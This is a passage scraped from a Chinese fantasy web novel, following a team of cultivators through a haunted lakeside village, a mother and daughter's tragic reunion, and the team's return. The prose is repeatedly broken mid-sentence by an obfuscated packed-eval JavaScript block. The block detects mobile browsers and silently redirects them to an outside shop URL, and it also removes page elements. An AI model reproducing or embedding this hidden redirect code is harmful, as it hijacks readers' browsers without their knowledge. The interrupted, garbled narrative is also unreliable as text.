“她就是个欺软怕硬的人!她都不敢找阿漓和小展的麻烦!就...就知道欺负我们。” “对!她还笨!嬷嬷教的诗她总是学不会,明明那么简单,她就是听不懂,就连画技都一塌糊涂!” 总之你一言我一语的,江洵脑海中大概浮现了一个女孩的脸。 因为名字叫吴悠,所以她处处无优。 无论是嬷嬷的考核,还是诗词的背诵,她都是最后一名,甚至连比她年幼的孩子都比不上。她总是独自一人,没有人与她玩耍,因为大家都认为傻子是会传染的,和她在一起玩耍自己也会变得愚蠢,这样就无法再见到阿娘了。 嬷嬷对她总是无可奈何,甚至经常嫌弃她做事笨手笨脚。她非常嫉妒那些每月都能考进前七名的孩子,因为他们可以堂堂正正地去见阿娘,去见自己朝思暮想却又触碰不到的人。 然而,她终于在一次考核中获得了第七名,尽管使用了一些不正当的手段,但这并不重要,只要能够达到目的,那么别的孩子如何都与她无关。 可她满怀期待地见到自己的阿娘时,却被那人无情地推开。眼前的女子满脸难以置信地看着她,仿佛看到了一个陌生而可怕的人。“你为什么要来这里?你怎么能来这里!!谁让你拔尖儿冒头的?!!这个地方你以后都不准再来了!你听到没有???”吴娘子歇斯底里的哭喊声刺穿了吴悠的心,她僵在脸上的笑意渐渐冷去。 “为什么?难道阿娘不想见我吗?”吴悠沉默一瞬后,开口问道。 “你不明白,你不明白拔尖儿冒头的后果是什么,你更不明白以后要付出什么样的代价!阿娘只想你好好的活着啊,你懂不懂啊?你听话好不好?算我求你了孩子。”吴娘子双手颤抖的扶住吴悠瘦小的肩膀,企图能让她理解自己的良苦用心。 “阿娘起的名字我不喜欢!阿娘说的话我也不喜欢!”吴悠用力的挣脱了吴娘子放在她身上的手。吴娘子看着眼前的女儿,一时之间哑口无言,她只能无声地落泪,她不能明说为什么想见不能见,又为什么不让她聪明一些,因为门口站着坞会的人在偷听她们讲话。可她更不想眼睁睁的看着吴悠去送死,那考核进前七的孩子是能得到厚待,是可以月月见到自己的娘亲甚至可以下山见父亲,可这样的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170805|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处是有代价的,是无法挽回也无法阻止的代价。 吴娘子的内心充满了矛盾和痛苦,她不知道该如何面对吴悠。她希望能够保护她,但她连自己都护不住。泪水从她的眼角滑落,滴落在地上。 她想见到吴悠可又怕见到吴悠,尤其是还有几个月就到祭祀日了。 吴娘子深吸一口气,努力让自己平静下来,然后紧紧握住吴悠的手,一个字一个字地对她说:“你听清楚了,阿娘根本不想见到你,哪怕只有一次!从今往后,你不要再来找我了。我知道你并不聪明,这次能够进来肯定是运气好。”吴娘子原本希望这样的话能够让吴悠知难而退,但那个孩子却笑了起来。 她那双刚刚哭过的眼睛清澈明亮,直直地看着吴娘子,说道:“原来阿娘不喜欢我,可是这又怎么样呢?以后我一定会好好学习、好好画画、乖乖听从嬷嬷的教导,然后经常来看望阿娘。阿娘越是不想看到我,我就越发要出现在阿娘面前。不管阿娘是嫌弃我还是厌恶我,这些都不重要,因为只要我喜欢阿娘就行了。”说完,她用力抽出被吴娘子紧握的小手,转过身去,毫不犹豫地离开了。 原来阿娘一直都知道她不够聪明,原来阿娘给她取这个名字是别有用意,原来阿娘竟然一点也不想念她。 不过都不重要,她已经知道自己以后要如何做了。 吴悠为了考到前七名,可谓是不择手段。她会私下去威胁那些成绩好的孩子,如果人家不答应她的要求,她便会毫不犹豫地动手打人。打完之后,她还不忘警告对方不许将这件事告诉任何人,否则下一次会打得更狠。 这章没有结束,请点击下一页继续阅读! 第58章 抓逮请 想到这些人一天下来都还未吃饭,几人又在另外几个院子里找了些食材,带回来给他们做一顿热乎的饭菜。 “你们……”秦在锦欲言又止的看着几人。 他只会熬药,但他不会做饭啊! 这步骤大抵应该可能是一样的吧? 仝舟:“别指望我啊你们,我堂堂楼主可不会做这个,我从小到大都是饭来张口、 衣来伸手的那个!” 楼淑姣面露难色的说道:“我……算了,我还是帮忙备菜吧。” 傅霖叹了口气,撸起了胳膊上的袖子,淡淡说道:“我来。” “你还会做饭啊?”秦在锦惊讶的看着他。 “温……我师父嘴刁,经常让我给他开小灶儿。”傅霖不在意的说道。 江洵看在眼里听在心里,他知道傅霖方才是习惯性地想直呼温如玉大名,但奈何有着外人在,又中途改了口。 这个时候已经进入了深秋季节,树叶随着秋风轻轻飘起,最终缓缓落在地面上。孩子们欢快地奔跑嬉戏,不经意间将落叶踩踏成碎片。这些怀有身孕的妇女们则静静地坐在凳子上,眼中充满了温柔,微笑着看着孩子们的天真无邪。 厨房里渐渐升起袅袅青烟,不一会儿,饭菜的香气便飘散开来。 佐元城站在门口警惕地守卫着,一方面要防止孩子们偷偷跑出去玩,另一方面也要提防有不速之客突然闯入。 沈亦行则在逐地探查是否有他们未发现的漏洞,因为那个名叫小展的孩子不可能平白无故地消失不见。 “哥哥在找什么?”一个扎着俩马尾辫的小女孩跑过来问道。 “漏洞。”沈亦行轻声道。 “我可以帮你一起找吗?” 沈亦行看了她一眼,是方才那个盯着他们谈话的女孩儿。 “可以。” 他趁女孩跑到他身前的时候,垂手迅速往她身上贴了个东西,那东西闪了一下后又消失不见了。然后冲站在门口的佐元城抬了抬下巴,示意他留意这个女孩儿。 “哥哥叫什么名字?”女孩儿一边低头找洞口一边随意地问道。 沈亦行沉默着并没有回答,说实话他并不喜欢小孩,尤其是这种故作聪明的小孩儿。可当那孩子一脸无知的看向他时,那双弯弯的笑眼像极了他的一个故人。 许是风太温柔,让树叶轻飘飘的垂落在她的头间。 沈亦行伸手帮她拿掉了树叶,“沈亦行。” “好听!”随后,她转过身来,脸上露出天真无邪的笑容,再次开口说道:“哥哥还没问我的名字呢,我叫塘塘,不是糖果的糖,是池塘的塘哦!” 沈亦行看了一眼并没有搭理她,但丝毫不妨碍她自言自语,好似认识了很久的老朋友在叙旧一般。 “我说,你这辣椒能少放点么?呛死人了。”仝舟站在一旁吐槽道。 傅霖直接将锅铲递到他跟前儿,面无表情的看着仝舟,要不你来? “还是您来,您来。”仝舟双手推脱着没有接。 辣就辣点吧,好歹是能吃的。若是让他做,那估计是没得吃。 “洵儿,同样是献岁阁的弟子,怎得你就不会下厨?”在一旁煮药汤的秦在锦抬头问道。 “这能一样么?人可是三阁的宠儿,哪舍得让他做饭啊。”傅霖语气懒懒地回道。 江洵啧了一声,这人做个饭还不忘阴阳怪气他一番。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170806|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈叔一般都是带我下山吃。” “陈叔?陈致知前辈么?”楼淑姣疑惑着问了句。 “嗯,也是我们三阁年纪最大的一位前辈。他待弟子很好,其他阁的弟子也都很喜欢他。”江洵说到陈叔的时候,脸上带了点骄傲的小表情。 傅霖打开锅盖,兑了点水,用锅铲翻了几下后,又盖上了盖子。对前面烧火的仝舟说道:“楼主高抬贵手把柴火撤掉一些,转小火。”随后又说道:“我有个小师弟挺喜欢他的。”傅霖说起这位师弟的时候,语气倒是温柔的。 “你师弟?江洵啊?”仝舟抬头问道。 “不是,我们一阁的许廷宽。江洵是三阁的,叫他师弟是因为年长他一些。”傅霖解释道。 “难道不是因为脸皮更厚一些么?”江洵看着他回。 谁稀罕当你师弟,还有那什么许廷宽,入阁那么久都没怎么听说过这个人,看来修为也不咋地嘛。 “要是论这个,我当叫你师兄才是。” “嗐,我还以为你师兄俩关系更好些呢。”仝舟看热闹不嫌事儿大,毕竟这几日里傅霖确实是处处都把江洵护在身后。 傅霖低头笑了笑,没有回。 众人“齐心协力”把饭菜都准备好后,便开始往院子里搬,摆好桌子凳子,让他们排队打饭。当然,每个人打完饭后都会自觉地去秦在锦那里领一碗黑乎乎的药汤。 此时,打饭的人手已经足够,傅霖和江洵便靠在一旁悠闲地看着。忽然间,傅霖像是想到什么似的,开口问江洵道:“这场景是不是很熟悉?”他的声音带着淡淡的笑意,眼神却透露出一丝怀念。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第59章 一寸强 三人一前一后的从“犄角旮旯”里走出来,另外两人的衣服是深色的所以看着还好,只是糟蹋了沈亦行这一身白衣服,尤其是后背上蹭的都是泥土。 仝舟听到动静后看向这边,歪头问了句:“嘛呢你们?里面到底有啥啊?一个接一个的进去。不知道的还以为你们仨在背着我们分赃呢。” “你要不自己进去看看?”江洵用手指了指身后。 “算了,本楼主这衣服用的可都是上好的料子,而且这破地方也出不了什么好东西。”仝舟摇了摇头。 待天色渐渐暗下来以后,也是时候去抓那俩个跑掉的小崽子了。 沈亦行伸出右手,修长的手指轻轻一弹,将之前打在他们身上的团子放了出来。只是这次跳出来了三只,其中有两只是散发着青色光芒的团子,它们分别跟着吴悠和塘塘的,而另一只则是白绒绒的,像个活泼的小精灵一样,在他掌心上蹿下跳,显得非常调皮。 沈亦行看着这只白色团子,嘴角微微上扬,轻笑一声,“你来啦。”那白团子似乎听懂了他的话,欢快地在他掌心蹭了蹭,仿佛在回应他的问候。接着,它像是突然发现了什么似的,“咻”的一下飞到了江洵头上,贴在他的头顶轻柔地蹭了一下。 江洵:...... 难道我看起来很好欺负? 沈亦行见状,向那白团子伸出手,温柔地呼唤道:“回来吧。”那白团子听到他的声音,立刻乖巧地飞回他的掌心,须臾间又消失不见了。 在它走了以后,那两个青团子才动了起来,它们不停地互相撞击,好像在打架一般,一刻也不肯停歇。 “小点儿的那只是吴悠的灵团,跟着它走就能找到吴悠。若是一会儿那二人并不在一处,我们便分开行动,届时我会跟着塘塘的灵团走。”沈亦行解释道。 “那方才白色的那只是跟着谁的?”秦在锦问道。 青色的灵团一般就是用来追踪定位的,这小玩意儿本就是用自己的灵力做成的,在使用的时候一分为二,一部分打入了对方的身体里,一部分留下来。而对于方才的那只白色的灵团则使用了两个人的灵力,不仅可以用来追踪对方的位置,还可以用来传话。当然前提是二人的距离并不远,也就是说,白团跟着的那个人此刻就在距离深塘坞不远的地方。 沈亦行没有回答他这个问题,几人在出门以后,他顺手给这个院子下了个禁制,里面的人出不去,外面的东西也进不来。 “和谁呀?”秦在锦凑到他身旁追问道。 沈亦行看了他一眼,以前怎么没觉得这孩子这么没有眼力见儿呢?他若是想说是谁一开始就直呼名字了,而不是用“另一个人”来代替。但秦在锦眼下显然没有注意到这一点,按理说他是个很有分寸感的人,知道什么该问什么不该问,可能是因为他一心只想撮合姐姐跟沈亦行,就顾不上这些分寸不分寸了。 江洵也有些好奇,毕竟刚刚那小东西可是跳到他头上撒野,真是猖狂! “大人的事儿小孩别打听。”沈亦行撂下这句话便快步走了。 傅霖在一旁笑着看戏,无他,就喜欢看江洵这种郁闷的表情。 行至山脚的时候,两个青团才稍微安静一些,一个朝码头处飞去,一个朝村子里飞去。 江洵和沈亦行本来打算直接往码头那边去,由另外四人进村子找吴悠。只是在他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170807|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下山的瞬间,笛声四起、妖风肆虐,仿佛整个村子都在咆哮。 就在这时,昨晚逃离的那群怨灵再次出现,而且数量比之前更多,规模更大。特别是那些田间的男子,似乎找到了他们一直在寻找的东西,兴奋地手舞足蹈,跳跃不停。更令人毛骨悚然的是,他们突然清晰地听到从院子里传出的阵阵哀嚎声,那声音异常尖锐刺耳,让人不禁联想到里面正在发生惨不忍睹的酷刑。 "走!"沈亦行毫不犹豫地行动起来,一边走着,一边召唤出了霜降。 江洵在离开前,将一把匕首塞进了秦在锦手中,并坚定地说:"活着。"随后,他迅速抽出献岁,奔跑着追赶沈亦行的步伐。 "苍了天了,真是苍了天了!"仝舟忍不住破口大骂道。四人毫不犹豫地朝着发出哀嚎声的那一户人家奔去,而团灵也飞向了同一个方向。一路上,无数的怨灵如潮水般汹涌而来,试图阻止他们前进。有些怨灵甚至疯狂地冲向他们,即使没有任何工具,也要用嘴巴去撕咬他们。秦在锦一个没注意,被瞬间咬掉了袖子,“好险好险,宝贝胳膊差点儿就没了。”他大口喘着气儿拍着自己的胸脯安慰着自己。 不知在杀了多少怨灵以后他们才冲进那户人家,只见屋内一片狼藉,一个老人倒在血泊中,已经没有了呼吸。而在老人身边,还跪着一个脸色苍白的男子,眼神没有聚焦,嘴里不断的呢喃道:“我有罪……我该死……我有罪……我该死……” 秦在锦刚想要上前查看那人有没有受伤的时候,被傅霖一把拽住了他,“别过去。”这种时候在这种鬼地方,一点怜悯心都不能有。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第60章 是无忧 她吩咐那些小鬼头挨家挨户的去敲门,但凡开了门就进去将此人控制住并将其摁在水盆里、水桶里亦或是水缸里,甚至是用沾满水的毛巾或衣服捂住那人的口鼻直至其窒息而亡。 一开始,那些愚蠢的人会轻易上当,乖乖地打开门。但随着时间的推移,再也没有人敢轻易出门开门,于是她不得不改变策略,让那些姐姐们用各种手段潜入院子,然后一点一点地引诱人们前来开门。 她沉浸在杀人的乐趣和妖力带来的快感之中。 即使第一批中律司的弟子到来后,也依然被她耍得团团转,最终命丧这座巨大的牢笼。妖力渐渐侵蚀了她的心智,导致她大多数时候都处于浑浑噩噩的状态。然而,当她看到一个身怀六甲的怨灵时,突然想起了自己的母亲。 可是,她无法上山,每当她试图迈出一步,头痛欲裂,仿佛要撕裂开来。因此,她只能在山下彷徨徘徊。 “阿娘!!!” 吴悠看着船上的女人,大声地冲她喊了过去。 吴娘子听到女儿的呼喊声,缓缓抬起了头。她本以为自己还在做梦,可吴悠就真真实实地站在自己眼前儿,那张小脸上都是泪水,怎么也不知道穿鞋子呢,衣服怎么还破破烂烂的?这个天儿,她得多冷啊。 “阿娘,我这就过去,阿娘,等我来救你。”吴悠快步地朝船的位置走过去。 可水太深,船太远,她太小。 好似永远够不到阿娘的船头,又好似永远得不到阿娘的怀抱。 吴娘子笑着冲她摇头,安慰她自己没事,所以她可以跑慢些,再慢些,只要别摔倒。 “是无忧啊。” “什么?”吴悠听到这句停了下来。 “阿娘希望你能活的无忧无虑的,哪怕没有优点也没关系,哪怕笨了点也没关系,只要能活下去这些都没关系。阿娘从不嫌你笨,也从不怪你狠,阿娘只是希望你能活着,只要你能活着。”吴娘子看着眼前的吴悠,眼中满是心疼和不舍。她知道自己今晚恐怕活不了了,但她还是想让吴悠知道,无论如何,她都是爱她的。 吴娘子的肚子在隐隐作痛,身下已经见红。但她并没有表现出痛苦,而是继续用温柔的声音说道:“悠悠不哭,哪怕阿娘不在身边了,你也要好好照顾自己。不管别人怎么说你,你都要相信自己不是笨蛋,更不是狠心的孩子,你仅仅只是阿娘最爱的孩子。” 吴悠似乎突然变回了那个背不出“深塘谣”的小女孩,想说的话说不出口,泪水又不争气地往下流。她只能用手背狠狠地去擦掉泪水,试图证明自己没有哭过一声。但她心里清楚,她永远也忘不了这一刻,永远也忘不了阿娘对她说的话。 吴悠默默地站在那里,看着阿娘的眼神逐渐变得模糊。 她知道,自己的时间不多了。 “阿娘...我背不会...我记不住...” 坞水淹没了她的肩膀,若要再往前走,坞水便会没过她的脑袋。 “没关系,没关系的。”吴娘子笑着看向她的女儿,试图去抚平她的委屈。 可身后的塘塘并不会让她们如愿,她最烦的就是这种假惺惺的亲情!她用力地挥舞着手中的笛子,水面上顿时泛起层层涟漪。而岸边的怨灵们则像是受到了某种指引,纷纷转身朝着他们所在的方向奔跑而来。它们脸上那苦大仇深的表情,仿佛是要将吴娘子撕碎一般。 “不要!!!快停下!!!那是我阿娘!!!!”吴悠惊恐地大声呼喊着,同时拼命地朝着吴娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170808|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑去。然而,一切都已经太晚了,她再也无法控制那群怨灵,更无法在水中自由行动。 就在这时,一个怨灵爬上了船,伸出手直勾勾地伸向吴娘子的肚子。眼看着这一幕就要发生,突然,一道低沉的声音响起:“止。” 随着这道声起,所有的怨灵瞬间停止了动作,就像被定格在了原地一样。而此时,江洵趁机跳入水中,迅速将呛了水的吴悠捞了出来,并敏捷地跳回了船上。 吴悠咳嗽了几声,渐渐恢复了意识。她的第一反应便是扑向吴娘子,紧紧地抱住了她。吴娘子温柔地伸出手,轻轻拨开吴悠额前的湿发,关切地问道:“傻孩子,冷不冷?有没有受伤?” “不冷,不冷,一点儿也不冷。阿娘在的地方就是最暖和的。” 她和大多数孩子一样,躲在阿娘怀里撒娇哭泣。 塘塘冷眼看着这一切,想要再动手的时候发现自己的身体也僵硬在那里动弹不得,她凶狠的看着站在岸边的始作俑者——沈亦行。 “江洵。”沈亦行喊了一声。 在来的路上,沈亦行和江洵便商议好了计划。由沈亦行负责控制塘塘及其他怨灵,而江洵则趁机出手将她斩杀在此。虽然江洵对这个功劳为何要让给自己感到疑惑,但他还是点头答应了下来。毕竟,有便宜不占白不占嘛! 江洵左手紧紧握住剑刃,用力向下一划,鲜血顺着剑身流淌而下,形成一道红线。献岁仿佛突然间获得了极大的满足,周身散发出淡淡的红光。当剑刃刺穿塘塘的胸腔时,吴悠的身体猛地一震,脸色变得惨白。因为她的妖力皆来源于塘塘,如果塘塘死去,那么她也无法继续存活于 世。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第61章 随风起 清灵法阵一经开启,那些原本疯狂攻击的怨灵瞬间停止了动作,一个个迷茫地站在原地。这个阵法能够大规模地渡化亡灵,让它们早日得到安息。然而,由于其极度消耗灵力,所以很少有人愿意使用这种方法。相比之下,更多人会选择一种既有效又迅速的方式——斩杀。这种方法不仅耗费的灵力较少,而且能够彻底清除这些怨灵。不过,这样做的后果是,被斩杀的怨灵将会从此魂飞魄散,再也无法进入轮回之道。 眼下秦在锦正在一点点地清理江洵胳膊上的伤口。 而另一边,傅霖已经将船上的吴娘子接了过来。吴娘子显然还没有从失去女儿的悲痛中恢复过来,但幸运的是,她的身体已经没有什么大碍,腹中的胎儿也安然无恙。 “过了今晚,我们就又是过命的交情了。”秦在锦笑着说道。 江洵应了一声,又摇了摇头。 他自然不是无条件的帮助秦在锦的,他也知道那只怨灵就算动手也要不了秦在锦的性命,但他还是那么做了。一部分是当时真的想要推开他,还有一部分是想借此举让秦在锦念着他的好,这样日后找他帮忙时,手里也能多一分筹码。 他的目的达到了,秦在锦也确实记住了。 只是傅霖一直坐在那里盯着他二人,没有说过一句话。 阵法一直持续到后半夜才逐渐往回收,最终消失不见。而深塘坞的风也不再呼啸,水面渐渐趋于平静。 几人将吴娘子安置好以后,随便找了个没人的房子睡了过去。 等到江洵再次睁眼的时候,太阳都出来了。而仝舟和佐元成趁天还没亮的时候就乘船走了,楼淑姣也连夜带着林惠婵的尸身随他们一起离开。这三人走的时候连声道别都没同他们讲。 “醒了?”沈亦行刚放走一只木鸽,回头问道。 “嗯。”江洵愣了一会儿,坐起来看了眼睡在身旁的傅霖。 哈??? 这人昨晚是睡在自己身侧么? 记不太清了,只记得当时太困了,闭上眼没一会儿就睡着了。 “任务已经结束了,此次任务等级判定为丙,你们可以去中律司领赏了。” “我还第一次过丙级呢。”秦在锦躺在那里翻了个身,嘴角带着笑意,虽然这个任务完全是靠沈亦行带动的,但他也是实打实的参与了进来。 “我总觉得有哪里不对劲的地方,不止是这个任务,还有之前两个。总感觉漏掉了什么,可又不知问题出在哪里。”江洵揉了揉脑袋,从第一个任务结束的时候就让他有种莫名烦躁感,那种不安的感觉始终萦绕在心头,让他无法释怀。如今这个任务也是,真的结束了吗?彻彻底底的结束了? “会不会是你想多了?”秦在锦打了个哈欠,一副不在意的样子。 “但愿是我想多了。”江洵叹了口气,希望自己的直觉是错误的。 “哎呀,沈哥都说结束了,那肯定结束了。”秦在锦安慰道。 沈亦行听到这句,笑了一声说道:“与其听信旁人所言,不如坚信自己所念。我说的未必都准,我做的也未必都对。” “叽里咕噜的说些什么!不听不听不听!”秦在锦捂着耳朵站了起来,大声喊道。如果连沈哥做的都是错的,那还有什么是正确的?他实在想不通。“对了,我们上个任务遇到过一个小姑娘,也会使用风止令。不过和你比起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他如此激动的反应令秦在锦感到十分新奇。毕竟,在短短数月的相处中,秦在锦一直觉得江洵的性格相较于同龄人更为成熟稳重。只有最近几天傅霖在时候,他才偶尔展现出一些少年人的样子,与傅霖争论几句。 然而此刻,当他听到江洵用“软糯糯”的声音喊出“师父”时,他突然意识到,江洵其实也只是一个年仅十六岁的少年。 “别摔了。”江挽静静地站在原地,微笑着等待着江洵跑来。 江洵似乎完全不在乎是否会摔倒,他一路狂奔到江挽面前,气喘吁吁地问:“师父,您怎么会在这里呀?” “接你回家。” 江挽此番来隰城是因为有些私事需要处理,她与一人坐在茶楼里闲聊时,注意到深塘坞方向传来了请求支援的信号。 那个时候,江挽其实并没有打算前去支援,毕竟她觉得自己可没那么多闲心。然而,紧接着她就想起江洵此时也在隰城,正当她准备前往支援的时候,就看到沈亦行和秦念淑二人正朝着那个方向赶去。 既然已经有人大发善心愿意去帮忙了,那她也没必要再去凑这个热闹了。 等到第二日的时候,江挽去了一趟中律司,想看看自己的奖赏册上是否还有尚未领取的好东西。这一看不打紧,却让她发现这家中律司的气氛异常古怪,更奇怪的是,南宫珩的暗卫竟然出现在这里。 会不会是跟江洵那个任务有关?可究竟是什么任务能出动那么多人? 她又转身去到任务厅,看到此刻闪着红光的任务牌只有一个——深塘坞。 而任务名称下面篆刻着该任务的参与人员和任务等级,其中“相约山——林惠蝉”这一行已经变成了灰色,意味着其人已在任务中死亡。 而献岁阁后面大大咧咧的印着江洵和傅霖的名字,这倒让江挽挑了下眉。 这俩人怎么凑到了一起? 傅霖那小兔崽子受那么重的伤不回家躺着还敢出来继续做任务?是觉得这尘世间没有什么东西可以留住他了是吧? 罢了,有沈亦行和秦念淑在,这任务左右也快结束了,她忙完手头的事以后就回中律司等着了。 江洵听到师父说要接他回家的时候,羞涩的伸手摸了摸鼻子。 哎呀,有人接他回家了呢! “可有受伤?”江挽看着他这副可怜兮兮的模样,不禁笑出了声。 江洵原本打算撒谎说自己并未受伤,但念头一转,便改变了想法。他高举着那只受伤的胳膊,向江挽展示着,还故意装出一副委屈的样子,撒娇地说道:“伤到胳膊了,可疼了!” 江挽无奈地叹息一声,伸出手准备查看他胳膊上的伤口。然而,就在这时,江洵迅速将胳膊缩了回去,用另一只手遮住伤口,嘴里嘟囔着:“太丑了,师父别看。” “那……那个,江姐……江阁主,不好意思啊,江洵也是为了救我才受伤的。”秦在锦连忙走上前来,语气诚恳地解释道。他本来也想亲切地称呼江挽为姐姐,毕竟她看起来与自己的姐姐年龄相仿。但转念一想,这样的称呼似乎有些过于亲昵,容易让人产生误会,于是还是选择了恭恭敬敬地叫她阁主。 “是么?”江挽挑了挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170810|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,似笑非笑地看向秦在锦。 “是啊!”江洵赶忙回答道,脸上满是自豪之色,眼神中充满了期待,仿佛在等待着江挽对他的夸赞。 “那等回去以后让小厨房天天给你做你爱吃的。”她一边说着一边温柔地摸了摸江洵的头,眼神里满是宠溺和关怀。说完这句话后,她缓缓地收回手,将目光投向了站在一旁的傅霖。只见她轻轻地从怀中掏出一个精致的瓷瓶儿,瓶身上印有一枝鲜艳欲滴的红梅,这显然是温如玉的物品。 “温如玉知道你受伤的事儿,特意托我把这个带给你。”江挽轻声对傅霖说。 “他怎么不自己给。”傅霖有些不满地嘟囔着。 “啊……他脚崴了,所以就提前回去休养了。”江挽连忙解释道。 “他脚怎么又又又崴了?”傅霖没好气地质问道。 温如玉向来喜欢找借口推脱事情,但他常用的理由却总是那么一个——脚崴了。 “这次可是真的崴了!廷宽那日不小心从楼上掉下去,他是为了救人而伤到了脚,并不是故意不来找你的。”江挽急忙替温如玉解释道。 不过温如玉到底是不是故意的,江挽也不清楚,那人八百个心眼子,她猜不透也懒得猜。 傅霖目光紧紧地盯着手中的药瓶,他用拇指轻轻摩挲着瓶口,仿佛想要从中汲取一些温暖。最终,他无奈地叹了口气,表示自己愿意接受这个充满漏洞的"借口"。 既然已经表达了关心之情,那么接下来就应该表示感谢之意了。江挽将目光投向了站在一旁的秦念淑和沈亦行,然后深深地鞠了一躬。 这章没有结束,请点击下一页继续阅读! 第63章 三尊 这时,身后传来了人群涌动的声音,几人纷纷侧目望去,只见许多百姓如蜂拥而至,跑到右手边的这间茶楼里。他们步履匆匆,脸上洋溢着兴奋和期待的神情。进入茶楼后,这些百姓迅速地找到了空位坐下,动作敏捷而熟练,仿佛对这里已经非常熟悉。还有几个人甚至偷偷地带了酒水和小吃,显然是有备而来。 没过多久,从台子的一旁慢悠悠地走出一个留着白胡子的老头。他身穿一袭朴素的长衫,头发花白,脸上布满了岁月的痕迹,但眼神却透露出一种深邃的智慧。他佝偻着身子,步伐缓慢地走上台阶,最终坐在了最中央的位置上。 只见他轻轻咳嗽了一声,然后用力地拍响了桌上的惊堂木,发出清脆的响声。这一响声如同信号一般,台下的观众们立刻安静了下来,原本嘈杂的环境瞬间变得鸦雀无声。每个人都瞪大了眼睛,注视着台上的老人,期待着接下来的故事。 "江姑娘有兴趣听一下这老头儿讲故事吗?他可是很有名儿的。" 秦念淑微笑着邀请,眼中闪烁着期待的光芒。 江挽微微点头,表示同意。 “左右无事,听听也无妨。”她轻声回答道,语气平静而温和。 见她答应之后,秦念淑便给茶楼的小二递了一个牌子。小二接过后,看到牌子上刻着一个“晴”字,脸色微微一变。 尽管此时的茶楼早已人满为患,但他依然恭敬地将她们几人请到了位置最佳的雅间,并迅速地上了一些当地的特色小吃,热情周到的服务让人感到十分满意。 “秦姑娘一会儿若还有旁的需求,就按一下咱家桌上的响铃儿,小的定随叫随到。”等一切安排妥当以后,小二便识相的带人下去了。 没过一会儿,台上的老头儿就开口说话了,“由于花祀节即将来临,今日老朽就同各位讲讲咱们这儿“三尊”的故事。” 他说完这句,喝了一口浓茶,待茶咽下后徐徐道来:“众所周知,栖花里之所以能有如今安居乐业的景象,全都要归功于三位仙尊。是她们的到来才改变了这个民不聊生、苦不堪言的废墟……” 栖花里位于一个交通枢纽处,东南西北往来的游客都要从这里经过。然而,这个地方的地理优势却成为了它的累赘。因为过于"显眼",吸引了大批土匪和流民前来定居。他们抢占原住民的房屋、侵占田地,甚至欺压良民,使得当地居民生活困苦不堪。 新来的县令金益冬本想要新官上任三把火去整顿一下这里的治安,可他那三把火烧下去还没土匪头子——楼颂家厨房的灶火旺。他的努力如同杯水车薪,于是最终也只能选择放任不管。 然而,某天,一位手持利剑的神秘女子来到了这里。这位女侠对土匪们的恶行深恶痛绝,决定先给他们一点颜色看看。她毫不畏惧地一把火烧了楼颂的家,并在门上用猪血写下了几个大字:"林女侠到此一游,恶狗莫吠!" 